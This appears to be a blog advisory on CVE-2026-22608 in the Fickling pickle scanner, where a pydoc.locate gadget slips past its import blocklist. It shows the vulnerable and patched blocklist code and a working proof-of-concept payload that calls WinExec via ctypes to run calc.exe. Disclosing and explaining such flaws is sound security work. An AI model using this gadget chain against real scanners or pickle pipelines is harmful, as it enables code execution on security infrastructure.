Feb 23, 2026·5 min read·3 visits
Fickling trusted a blocklist to detect malicious pickles. It missed `pydoc.locate`. Attackers used `pydoc` to dynamically load `ctypes` and execute arbitrary code, tricking the scanner into running the malware it was supposed to catch.
Fickling, a specialized tool designed to decompile and analyze Python pickle files for security threats, contained a critical logic flaw in its own safety analysis. By leveraging the obscure `pydoc.locate` function, attackers could construct a gadget chain that bypassed Fickling's blocklist, resulting in Remote Code Execution (RCE) on the very machine attempting to scan the malware. It is a classic case of the security tool becoming the attack vector.
Python's pickle module is the stuff of nightmares for security engineers. It is a stack-based virtual machine that can execute arbitrary code during deserialization. Enter Fickling, a heroic tool by Trail of Bits designed to decompile, analyze, and—crucially—classify pickle files as 'Safe' or 'Unsafe'.
Security Operations Centers (SOCs) and automated pipelines use Fickling to screen untrusted data before it hits production. The premise is simple: Fickling acts as a bomb disposal robot. It looks at the bomb (the pickle), analyzes the wiring (the bytecode), and tells you if it's going to blow up.
But what happens when the bomb is designed specifically to blow up the robot? CVE-2026-22608 isn't just a bypass; it's a subversion of trust. By crafting a pickle that looks innocent to Fickling's static analyzer but behaves maliciously during the analysis process, we achieve the holy grail of counter-security: Remote Code Execution on the scanner itself.
The vulnerability stems from the age-old debate: Blocklisting (Blacklisting) vs. Allowlisting (Whitelisting). Fickling's safety check relied on a UNSAFE_IMPORTS list. This list contained the usual suspects: os.system, subprocess.Popen, eval, and exec. The logic was straightforward: if the pickle tries to import something on the naughty list, flag it.
However, Python is a language of infinite flexibility. If you block the front door (os.system), a hacker will just crawl through the HVAC vents. In this case, the HVAC vent was pydoc.locate.
pydoc is a documentation generator. It sounds boring, which is exactly why it was overlooked. But to generate documentation, pydoc often needs to resolve strings to objects. The function pydoc.locate(path) takes a string path and returns the object. This effectively gives you a dynamic import mechanism that wasn't on Fickling's radar.
> [!WARNING]
> The Logic Gap: The analyzer checked if the imported module was in the blocklist. It did not recursively check what the imported function could do. By importing pydoc, we gained the ability to import anything else indirectly.
Let's look at why the bypass worked. The vulnerable code in fickling/analysis.py (simplified) looked something like this:
# VULNERABLE LOGIC
if instruction.opcode == "GLOBAL":
module_name = instruction.arg1
if module_name in UNSAFE_IMPORTS:
return Severity.UNSAFEIf we supply GLOBAL 'pydoc' 'locate', Fickling checks its list. Is pydoc in UNSAFE_IMPORTS? No. Is locate unsafe? No. The scanner waves it through as LIKELY_SAFE.
The fix, applied in version 0.1.7, was two-fold. First, they added pydoc, ctypes, and others to the list. Second, and more importantly, they changed the logic to inspect the entire dotted path of an import.
# PATCHED LOGIC
# 1. Expanded Blocklist
UNSAFE_IMPORTS = {"os", "sys", "subprocess", "pydoc", "ctypes", "runpy", ...}
# 2. Path Traversal Check
if node.module and any(part in UNSAFE_IMPORTS for part in node.module.split(".")):
yield nodeThis split(".") check is vital. Previously, if you could trick the parser into seeing os.path (and os was blocked but os.path wasn't), you might bypass it. Now, if any component of the chain is toxic, the whole thing is rejected.
To exploit this, we need to construct a 'gadget chain' using Pickle opcodes. We can't just call os.system directly because Fickling watches for that. Instead, we use pydoc.locate to fetch a pointer to a dangerous function (like WinExec via ctypes) and then execute it.
Here is the attack flow visualized:
The Payload Detail
The Python code to generate this payload looks like this:
from fickling.fickle import Pickled, op
payload = Pickled([
# 1. Import pydoc.locate (The Bypass)
op.Global("pydoc", "locate"),
# 2. Argument: The forbidden library hidden in a string
op.String("ctypes.windll.kernel32.WinExec"),
op.TupleOne(),
# 3. Resolve the function
op.Reduce(),
# 4. Prepare arguments for WinExec (calc.exe)
op.String("calc.exe"),
op.BinInt1(1), # uCmdShow
op.TupleTwo(),
# 5. EXECUTE
op.Reduce(),
op.Stop()
])When Fickling analyzes this, it sees pydoc (safe) and string constants (safe). It fails to realize that pydoc + string = execution.
The impact here is subtle but devastating. Tools like Fickling are often deployed in high-security zones: CI/CD pipelines, malware analysis labs, or intake servers for data processing. These environments often have elevated privileges or access to sensitive internal networks.
By exploiting the scanner, an attacker moves from "sending a bad file" to "controlling the security infrastructure." If a developer runs Fickling locally to check a suspicious file they downloaded, the attacker now owns the developer's workstation.
Furthermore, because Fickling marked these files as LIKELY_SAFE, downstream systems that trusted Fickling's verdict would blindly deserialize the payload, leading to a second stage of compromise. It's a double-tap: compromise the scanner, then compromise the destination.
Trail of Bits responded quickly (version 0.1.7) by nuking the pydoc vector and tightening the logic. However, the cat-and-mouse game of blocklisting is eternal.
Immediate Mitigation:
0.1.7 or higher.--network none).This vulnerability serves as a reminder: Static analysis of dynamic languages is incredibly hard. If a language allows you to turn strings into code (eval, exec, locate, getattr), a static analyzer will almost always have blind spots.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
fickling trailofbits | < 0.1.7 | 0.1.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 (Deserialization of Untrusted Data) |
| Secondary CWE | CWE-184 (Incomplete List of Disallowed Inputs) |
| CVSS v4.0 | 8.9 (High) |
| Attack Vector | Network / Local (File) |
| Exploit Status | Functional PoC Available |
| Impact | Remote Code Execution (RCE) |